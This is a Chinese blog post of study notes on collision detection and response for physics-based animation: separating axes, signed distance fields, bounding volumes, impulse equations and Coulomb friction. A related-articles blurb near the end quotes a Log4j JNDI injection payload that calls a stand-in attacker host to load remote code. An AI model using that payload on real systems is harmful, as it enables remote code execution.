许多刚性或可变形固体的动态场景通常会导致物体间的许多碰撞和接触。Soft bodies还有自我碰撞,即物体的一部分变形并且撞上了另一部分。特别地,布料仿真会经历许多同时发生的自我碰撞,要解决这个问题是很有挑战性的。所有这些情况,求解器的计算成本的显著成分是在检测和解决碰撞和接触(解决碰撞之前要先检测到)。

Collision detection.碰撞检测

通过检查物体几何的相互渗透来检测。碰撞检测算法使用了大量的几何表示。
多边形几何常用于表示刚体和可变形体。许多算法已经发展为寻找多边形的交,特别是凸多边形(内部任意两点连线仍在多边形内部)。

分离轴定理(Separating Axis Theorem)

认为如果在两个凸形状之间可以找到一个分离的超平面,则它们是不相交的,因此不会贯穿。潜在的碰撞几何面自然成为分离超平面的候选。凸分解(Convex decompositions)常用于非凸物体碰撞检测的计算。使用多边形几何要考虑大量相交的情况,例如点-面交叉和边-边交叉。

有向距离场the signed distance field

另一种在碰撞检测中常用的几何表示。物体的有向距离场 ϕ ( x ) \phi(\mathbf x) ϕ(x)将从 x \mathbf x x到物体表面最近的点的有向距离分配到空间 x \mathbf x x的每个点。物体内部的点 ϕ < 0 \phi<0 ϕ<0,物体外部 ϕ > 0 \phi>0 ϕ>0,或者反过来,取决于约定。
表面就隐式地定义为 ϕ \phi ϕ的零水平集,点 x \mathbf x x使 ϕ ( x ) = 0 \phi(\mathbf x)=0 ϕ(x)=0.通常 ϕ \phi ϕ在包含物体的结构化网格上取样。另一物体表面上的点 p \mathbf p p可搜索 ϕ ( p ) \phi(\mathbf p) ϕ(p)来确定一定时间内它在内部还是外部。尽管内部/外部测试很快,但是由于对象很多,在存储距离字段时可能会有很大的内存开销。尽管在预处理步骤中对于刚体可以计算一次 ϕ \phi ϕ,对于可变形几何,可能需要间歇地重新计算。用带符号的距离表示的另一优势是,解碰撞和接触的表面法线容易使用有向距离场计算出: n ( x ) = ▽ ϕ ( x ) \mathbf n(\mathbf x)=\bigtriangledown\phi(\mathbf x) n(x)=▽ϕ(x).

加速结构

n个物体有 O ( n 2 ) O(n^2) O(n2)对,为使碰撞检测应用于许多相互作用的物体的仿真实践,需要使用加速结构。常用方法是为几何对象创建包围盒bounding volumes,特别是那些可进行快速相交测试的。包围盒可用于快速减去可能相交的集合,原因是两物体不相交,其包围盒也不相交,常用球、axis-aliged bounding boxes轴对齐包围盒、oriented bounding boxes。另外还可以计算包围盒的等级结构,潜在地使得更有效地从大量的候选中挑选交集。

除了包围盒,空间划分还可以通过指示在空间的特定区域中同时存在哪些对象来加速碰撞检测。

连续碰撞检测

在离散碰撞检测中,考虑场景中几何对象的状态处于固定时刻,不考虑轨迹。对于大体积对象往往足够了。但对于薄的物体,如布,或非常小的物体可能在一个时间步长中经历相交,这在时间步长开始或结束的固定时刻时观察起来并不明显。比如,一个小物体被扔到一块布上,可能在时间步开始时完全在布的一边,结束时完全在另一边,但在两个时刻之间物体经过了布料,所以原则上是应该检测并解决碰撞。连续碰撞检测就在检测相交时考虑时间步内的运动轨迹。
求解交叉问题的分析方法在某些情况下存在。也用Ray casting光线投射和数值求解器,比离散碰撞检测更复杂计算量更大,有些系统会通过限制时间步长来避免连续碰撞检测。

Collision response (1D).

碰撞反应中,求解器解决了一个之前检测到的冲突,通常是通过计算和应用一对冲量到碰撞的物体上使其更新的速度是合法的。

e.g.一维空间的两个粒子,质量为 m 1 , m 2 m_1,m_2 m1​,m2​,以速度 v 1 , v 2 v_1,v_2 v1​,v2​相撞,如下图。根据牛顿第三定律,它们会相互施加大小相等方向相反的力,所以有一对冲量 j 和 − j j和-j j和−j影响粒子动量变化。令碰撞后速度为 v 1 ′ , v 2 ′ v_1',v_2' v1′​,v2′​,在系统中加入冲量,得到:
m 1 v 1 ′ = m 1 v 1 + j m_1v_1'=m_1v_1+j m1​v1′​=m1​v1​+j;
m 2 v 2 ′ = m 2 v 2 − j m_2v_2'=m_2v_2-j m2​v2′​=m2​v2​−j.

碰撞是非弹性的,或者说粘性的,碰撞后两粒子共同运动,i.e. v 1 ′ = v 2 ′ v_1'=v_2' v1′​=v2′​.
于是我们得到了三个未知数、三个等式,解出碰撞后的速度并带入等式:
1 m 1 ( m 1 v 1 + j ) = 1 m 2 ( m 2 v 2 − j ) \frac{1}{m_1}(m_1v_1+j)=\frac{1}{m_2}(m_2v_2-j) m1​1​(m1​v1​+j)=m2​1​(m2​v2​−j)
解出j: ( 1 m 1 + 1 m 2 ) j = v 2 − v 1 (\frac{1}{m_1}+\frac{1}{m_2})j=v_2-v_1 (m1​1​+m2​1​)j=v2​−v1​;
=> j = ( 1 m 1 + 1 m 2 ) − 1 ( v 2 − v 1 ) j=(\frac{1}{m_1}+\frac{1}{m_2})^{-1}(v_2-v_1) j=(m1​1​+m2​1​)−1(v2​−v1​).

如果 v 1 = v , v 2 = − v v_1=v,v_2=-v v1​=v,v2​=−v; m 1 = m 2 = m m_1=m_2=m m1​=m2​=m,由上得, j = − m v j=-mv j=−mv,碰撞后 v 1 ′ = v 2 ′ = 0 v_1'=v_2'=0 v1′​=v2′​=0;
如果 v 1 = v , v 2 = − v v_1=v,v_2=-v v1​=v,v2​=−v; m 1 = 3 , m 2 = 1 m_1=3,m_2=1 m1​=3,m2​=1,由上得,碰撞后 v 1 ′ = v 2 ′ = 1 2 v v_1'=v_2'=\frac{1}{2}v v1′​=v2′​=21​v,则这些粒子继续沿着质量更大的粒子运动的方向,以减小的速度一起运动;

用于弹性碰撞的情况,特别是刚体仿真,粒子碰撞后的相对速度不再为0,而是:
( v 2 ′ − v 1 ′ ) = − ϵ ( v 2 − v 1 ) (v_2'-v_1')=-\epsilon(v_2-v_1) (v2′​−v1′​)=−ϵ(v2​−v1​),
这里 ϵ ∈ [ 0 , 1 ] \epsilon\in[0,1] ϵ∈[0,1]是the coefficient of restitution回弹系数。当 ϵ = 0 \epsilon=0 ϵ=0是就是刚刚非弹性碰撞的例子。带入表达式求解j:
j = ( 1 m 1 + 1 m 2 ) − 1 ( 1 + ϵ ) ( v 2 − v 1 ) j=(\frac{1}{m_1}+\frac{1}{m_2})^{-1}(1+\epsilon)(v_2-v_1) j=(m1​1​+m2​1​)−1(1+ϵ)(v2​−v1​)

如果 v 1 = v , v 2 = − v v_1=v,v_2=-v v1​=v,v2​=−v; m 1 = m 2 = m m_1=m_2=m m1​=m2​=m,对于 ϵ = 1 \epsilon=1 ϵ=1的完全弹性碰撞, j = − 2 m v j=-2mv j=−2mv, v 1 ′ = − v , v 2 ′ = v v_1'=-v,v_2'=v v1′​=−v,v2′​=v

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SjGKygk1-1616637060930)(5.约束_md_files/一维质点碰撞.png)]

Deformable object collisions可变形物体碰撞

从物理上讲,碰撞产生的弹跳是由于碰撞物体在碰撞区域的变形造成的,物体碰撞,压缩,存储弹性能,能量的释放导致碰撞后的反弹。因此,对可变形物体可以使用上面描述的非弹性碰撞方程,将一维的情况直接推广到2、3维:
m 1 v 1 ′ = m 1 v 1 + j m_1\mathbf v_1'=m_1\mathbf v_1+\mathbf j m1​v1′​=m1​v1​+j;
m 2 v 2 ′ = m 2 v 2 − j m_2\mathbf v_2'=m_2\mathbf v_2-\mathbf j m2​v2′​=m2​v2​−j;
v 2 ′ = v 1 ′ \mathbf v_2'=\mathbf v_1' v2′​=v1′​
二维的情况是6个方程和未知数,三维的情况是9个。速度是在碰撞点处的,冲量作用于碰撞点,当物体变形时,可能会有许多碰撞点。

Rigid body collisions

与可变性物体相比,二者物理上碰撞的过程是一样的,但理想刚体不会有任何形变,刚体碰撞的模拟需要不同的方式。
碰撞定律常用于联系碰撞前后的量,见[Chatterjee and Ruina 1998].其推导与上面类似,但还要考虑速度和动量的角分量。在运动的切向方向上的摩擦处理大大复杂化了刚体碰撞。首先考虑粘滞和无摩擦碰撞的简单情况。

根据[Ruina and Pratap 2009],考虑两质量为 m 1 , m 2 m_1,m_2 m1​,m2​的刚体的碰撞,惯性张量 I 1 , I 2 I_1,I_2 I1​,I2​,线速度 v 1 , v 2 \mathbf v_1,\mathbf v_2 v1​,v2​,角速度 ω 1 , ω 2 \mathbf{\omega_1},\mathbf{\omega_2} ω1​,ω2​,碰撞后的速度和前面一样用素数(prime)表示.场景如下图,碰撞时与物体相切的平面单位法向量为 n \mathbf n n。
碰撞前后的线动量为:
m 1 v C 1 ′ = m 1 v C 1 + j m_1\mathbf v_{C_1}'=m_1\mathbf v_{C_1}+\mathbf j m1​vC1​′​=m1​vC1​​+j ;
m 2 v C 2 ′ = m 2 v C 2 − j m_2\mathbf v_{C_2}'=m_2\mathbf v_{C_2}-\mathbf j m2​vC2​′​=m2​vC2​​−j.
角动量:
I 1 ω 1 ′ = I 1 ω 1 + r 1 × j I_1\mathbf\omega_1'=I_1\mathbf\omega_1+\mathbf r_1\times \mathbf j I1​ω1′​=I1​ω1​+r1​×j ;
I 2 ω 2 ′ = I 2 ω 2 − r 2 × j I_2\mathbf\omega_2'=I_2\mathbf\omega_2-\mathbf r_2\times \mathbf j I2​ω2′​=I2​ω2​−r2​×j

对于粘性碰撞,其他方程表明物体在碰撞后在接触点立即以相同的速度运动:
v P 1 ′ = v P 2 ′ \mathbf v_{P1}'=\mathbf v_{P2}' vP1′​=vP2′​.
这里,
v P 1 ′ = v C 1 ′ + ω 1 ′ × r 1 \mathbf v_{P1}'=\mathbf v_{C1}'+\mathbf{\omega_1'}\times\mathbf{r_1} vP1′​=vC1′​+ω1′​×r1​ ;
v P 2 ′ = v C 2 ′ + ω 2 ′ × r 2 \mathbf v_{P2}'=\mathbf v_{C2}'+\mathbf{\omega_2'}\times\mathbf{r_2} vP2′​=vC2′​+ω2′​×r2​ .
是第一个和第二个物体在碰撞点各自的速度。

方程/未知数个数,二维为8,三维为15.

对于无摩擦弹性碰撞,设 j = j n \mathbf j=j\mathbf n j=jn,
( v P 2 ′ − v P 1 ′ ) ⋅ n = − ϵ ( v P 2 − v P 1 ) ⋅ n (\mathbf v_{P2}'-\mathbf v_{P1}')·\mathbf n=-\epsilon(\mathbf v_{P2}-\mathbf v_{P1})·\mathbf n (vP2′​−vP1′​)⋅n=−ϵ(vP2​−vP1​)⋅n.
这里, ϵ ∈ [ 0 , 1 ] \epsilon\in[0,1] ϵ∈[0,1]。已知物体在碰撞前的线速度和角速度、碰撞平面,可解方程确定碰撞后物体的法向冲量和速度。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Iwb65sGY-1616637060931)(5.约束_md_files/刚体碰撞.png)]

Frictional collisions摩擦碰撞

在摩擦碰撞中,冲量 j \mathbf j j由法向分量和切向分量组成,分别阻止或抑制物体碰撞点的相对切向速度。
Coulomb friction model库伦摩擦模型
描述在粘着或滑动接触中产生的摩擦力的经验模型。切向力的大小不能超过 μ ∥ f n ∥ \mu\|\mathbf f_n\| μ∥fn​∥,接触点黏着的情况下可能会更小。切向力的方向与运动的切向方向正好相反,系数 μ \mu μ为摩擦系数。

滑动接触,切向力处于其可能值的最大值:
f t = − μ ∥ f n ∥ t \mathbf f_t=-\mu\|\mathbf f_n\|\mathbf t ft​=−μ∥fn​∥t。
这里, t \mathbf t t是运动方向。

当接触点粘着时,切向力刚好足以抵消其他切向力。

总结:接触点相对速度为正,摩擦力为 − μ f n t -\mu f_n\mathbf t −μfn​t;相对速度为负,摩擦力为 μ f n t \mu f_n\mathbf t μfn​t,为0,介于二者之间。(这种情景改编自[Ruina and Pratap 2009])

库伦摩擦模型力和冲量的约束可以用the friction cone摩擦锥来表示,定义不等式:
∥ f t ∥ ≤ μ ∥ f n ∥ \|\mathbf f_t\|\leq \mu\|\mathbf f_n\| ∥ft​∥≤μ∥fn​∥.
如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Jo1g7SAg-1616637060932)(5.约束_md_files/摩擦锥.png)]

在[Guendelman et al. 2003]中,通过首先假定在切向方向粘滞向刚体碰撞中引入切向摩擦冲量,即:
( I − n n T ) ( v P 2 ′ − v P 1 ′ ) = 0 (I-\mathbf n\mathbf n^T)(\mathbf v_{P2}'-\mathbf v_{P1}')=\mathbf 0 (I−nnT)(vP2′​−vP1′​)=0.
将它与前面的等式一同解出,若 j \mathbf j j的解在摩擦锥中,那就接受粘滞的假设,使用冲量 j \mathbf j j;若不在,则施加滑动摩擦。在实践中,类似这个的代数碰撞定律可以产生一些非物理的结果,对几个碰撞定律更详细的分析见[Chatterjee and Ruina 1998]

主题017:Lagrange乘子法与约束处理 在多体动力学中,约束是限制系统运动的条件。根据约束的性质,可以分为以下几类:完整约束(Holonomic Constraints):非完整约束(Nonholonomic Constraints):定常约束(Scleronomic):非定常约束(Rheonomic):双边约束(Bilateral Constraints):单边约束(Unilateral Constraints):对于受约束的系统,虚功原理表述为:δW=(Q−Mq¨)Tδq=0\delta W = (Q - M\ddot{q})^T \delt 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 43

Box2d源码学习<十三>b2Collision之碰撞(下) 具体形状间的碰撞的实现

本系列博客是由扭曲45原创,欢迎转载,转载时注明出处,http://blog.youkuaiyun.com/cg0206/article/details/8441463 Box2d中,要形状间实现碰撞,必须两个碰撞形状中至少有一个形状要有体积,而链形状每条边都被看作一个边缘形状,此时我们只要实现圆形、多边形、边缘三个具体形状间的碰撞,因为边缘形状没有体积,故不存在边缘与边缘之间的碰撞。剩下还有边缘和圆,

cg0206的专栏 7481

群晖NAS安装HomeAssistant保姆级教程:从Docker部署到智能设备接入

本文提供了一份详尽的群晖NAS安装HomeAssistant保姆级教程,涵盖从Docker部署到智能设备接入的全过程。通过规划存储路径、配置容器环境变量和网络模式,确保系统稳定运行。教程还介绍了如何接入小米、苹果HomeKit等智能家居设备,并利用自动化与仪表盘打造本地化、高响应速度的智能中枢,实现数据隐私与远程控制的完美平衡。

play7的博客 694

Physics-based Animation

导语: Physics-based动画基于物理定律,表现形式也更加真实。在我们日常生活中,我们自然的认为当一个动作触发时,我会伴随着一个物理过度。比如, 我们更容易接受一个变化的自然,连续的动画。 Physics-based动画如何工作 Physics-based动画使用力学三大运行定律来构建动画。当力平衡了动画就结束了。通过新加入的动画API动画可以做到更加自然,富有弹性。

easion_zms的专栏 708

如何在INCA中修改标定量的初始值,并刷回控制器

测试过程中,有些时候,标定量来不及修改,这就需要修改标定量的初始值了,又不想打开模型重新编译,因此直接在INCA中修改,然后再刷回控制器,就成了最佳选择,之前也学过,长时间不用,忘记怎么搞了,最近又用到了,这次记录一下,以后用到的时候,就不用在网上东翻西找了。截止到2023年11月24日,共找到了两种方法可以实现修改。

weixin_43406519的博客 4200

REALTEK PKE8710ECF开发板入手试玩(一)

REALTEK PKE8710ECF开发板入手试玩

lbqhope的专栏 691

论文笔记_SIGGRAPH2019会前课程:An Introduction to Physics-Based Animation_2

III. Spatial Discretization空间离散化 the discretization of spatially continuous quantities空间连续量的离散化 a variety of techniques: explain the difference between Eulerian and Lagrangian frames of reference欧拉坐标系和拉格朗日坐标系 grid-based data structures基于网格的数据结构; mesh-free

Procrastination的博客 1148

ComfyUI中一个超好用的变量管理类节点-KJNodes

在AI绘图中,ComfyUI的热度开始慢慢起来一些,但是这个软件在使用的过程中,需要很多连线,仅仅一个最简单的动画生成,就需要连接这么多线条,而且有些线会飞的很远,看起来就很不美观,尤其是一些复杂工作流,连接到最后自己可能已经分不太清楚到底连接好了没有。今天在研究C站的大佬们的工作流的时候,发现一个有意思的工作流,看起来大概是这种感觉:干净整洁。他用到了KJNodes这么个节点来管理变量,git上星标也不算很多,所以我想很多朋友可能还不知道,所以这里简单介绍下用法。

聚梦小课堂 7521

论文笔记_SIGGRAPH2019会前课程:An Introduction to Physics-Based Animation_1

I. A Simple Start: Particle Dynamics the simplest of models: particle systems 最简单的模型:质点系统/粒子系统。 介绍质点系统的基本概念:mass, energy, forces力, and velocity速度 复习first- and second order differential equations一阶和二阶微分方程。 introduce numerical integration引入数值积分 add springs

Procrastination的博客 713

从药企研发视角:如何用GNN提升分子水溶性预测准确率?PyTorch+ESOL全案例

本文从药企研发的实际需求出发,详细介绍了如何利用图神经网络(GNN)技术,结合PyTorch框架和ESOL数据集,构建并优化分子水溶性预测模型。通过完整的代码案例,深入探讨了分子图数据处理、GNN架构设计、超参数调优以及模型评估与解释等关键环节,旨在帮助研发团队提升预测准确率,从而更高效地筛选和优化候选药物分子。

weixin_29054399的博客 292

c++11 无锁队列

/************************************************************************* &gt; File Name: lockfreequeue.cpp &gt; Author: &gt; Mail: &gt; Created Time: Wed 08 Aug 2018 11:38:08 AM CST ********...

qq_35728402的博客 5023

PointWorld: 动作条件的全场景3D点flow 预测(用同一种3D物理空间模态来表示状态和动作)

PointWorld: Scaling 3D World Models for In-The-Wild Robotic Manipulation

u013250861的博客 325

ardupilot开发 --- Remote ID 篇

适配ardupilot的Remote ID模块研发,远程标识模块研发。Remote ID模块可以通过蓝牙或wifi向外广播无人机的状态信息、位置信息、任务信息等,并可以通过蜂窝数据向国家无人驾驶航空器一体化综合监管服务平台上报这些信息。Remote ID功能是21年起国家出台的民用无人机适航飞行的基本要求!

记录老板的每次pua,分享领导每天的毒鸡汤... 9607

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

FastAPI 极简教程(偏实战,一篇搞定)

本文是一篇FastAPI实战教程,通过最少的概念讲解快速掌握FastAPI的核心功能。文章首先介绍FastAPI是基于Starlette和Pydantic的高性能Python API框架,具有自动生成文档、类型驱动校验、异步支持和依赖注入等优势。教程从安装环境开始,演示了如何创建最小项目并编写第一个"Hello World"接口。接着详细讲解了路由参数处理(Path/Query/Body)、Pydantic数据模型校验、响应模型控制、状态码设置等核心功能。在高级功能方面,重点介绍了错误处

AI天才研究院 814

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 423

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 168

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 365

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 203

Flink SQL 学习笔记(二):Kafka/CDC/Doris连接器实战与常用SQL语法优化

这篇把生产环境最核心的 Kafka、MySQL CDC、Doris 三个连接器的实操步骤都梳理清楚了,还有并行度设置、Hint 动态参数、WITH 子句、去重优化这些日常写 SQL 高频用到的技巧,都是实际踩坑总结出来的实用内容。

dongziwen1的博客 93

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 185
上一篇: 论文笔记_SIGGRAPH2019会前课程:An Introduction to Physics-Based Animation_2
下一篇: 项目管理师备考笔记:十大管理之范围管理
宝木小花
博客等级 码龄11年 48粉丝 19原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值